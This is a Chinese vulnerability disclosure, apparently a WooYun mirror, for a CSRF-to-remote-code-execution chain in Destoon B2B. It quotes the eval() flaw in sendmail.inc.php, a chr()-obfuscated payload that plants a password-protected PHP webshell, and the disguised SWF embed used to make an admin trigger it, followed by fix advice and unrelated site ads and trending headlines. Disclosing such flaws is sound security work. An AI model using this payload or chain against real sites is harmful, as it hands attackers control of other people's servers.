Destoon B2B csrf getshell
- 发布时间: 2014-05-27
- 公开时间: 2014-08-25
- 漏洞类型: csrf
- 危害等级: 中
- 漏洞编号: WooYun-2014-62435
- 测试版本:2014-05-21
简要描述
上传问题+csrf+后台任意命令执行 = csrf getshell详细说明
先说上传问题,自带的fck编辑器没有验证上传图片的合法性,只判断了后缀名。 可以通过上传一个.jpg后缀的swf来进行csrf 然后是后台命令执行 /member/admin/sendmail.inc.php 行151default:
if(isset($send)) {
if(isset($preview) && $preview) {
$content = stripslashes($content);
if($template) {
if($sendtype == 2) {
$emails = explode("\n", $emails);
$email = trim($emails[0]);
} else if($sendtype == 3) {
$emails = explode("\n", file_get(DT_ROOT.'/file/email/'.$mail));
$email = trim($emails[0]);
}
$user = _userinfo($fields, $email);
eval("\$title = \"$title\";"); //eval()+双引号 +可控的$title 妥妥的任意命令执行
$content = ob_template($template, 'mail');
}
echo '<br/><strong>邮件标题:</strong>'.$title.'<br/><br/>';
echo '<strong>邮件正文:</strong><br/><br/>';
echo $content;
exit;
}
漏洞证明
首先把请求抓出来 精简参数 得到命令执行的最简参数如下moduleid=2
file=sendmail
send=1
preview=1
template=1
title='执行点'
由于是post提交 会触发全局变量检查,所以这里不能使用单引号双引号等,构造POC如下
{${assert(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(39).chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(92).chr(39).chr(120).chr(92).chr(39).chr(93).chr(41).chr(59).chr(63).chr(62).chr(39).chr(41).@chr(59))}}
下面来制作一个csrf的swf
注册一个普通用户 登录会员中心给admin发送一个站内信,内容为
<embed src="**.**.**.**/file/upload/201405/26/22-00-20-27-3.jpg" allowScriptAccess="always" type="application/x-shockwave-flash"></embed>
管理员登录后台首页会提示有新的站内信(太体贴了)
打开站内信即在web根目录生成1.php一句话 密码x
修复方案
- 命令执行 非必要别用双引号
- csrf 后台操作需要加token验referer
- 上传文件不光要检查后缀,文件内容也要查
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 习近平结束国事访问回到北京 7951051
- 2 王楚钦晋级决赛 与张本智和争冠 7961911
- 3 于东来连发11条动态 7879414
- 4 中巴经贸合作再现历史性机遇 7738012
- 5 微信14天后自动清理原图原视频 7607402
- 6 张本智和赢球后摇头晃脑庆祝 7577435
- 7 抗癌网红湘妹子去世 7494909
- 8 麦琳要用吃剩的熏鸡骨头煲汤 7324469
- 9 国乒包揽总决赛女单冠亚军 7281042
- 10 中国冰雪经济再度升温 7164696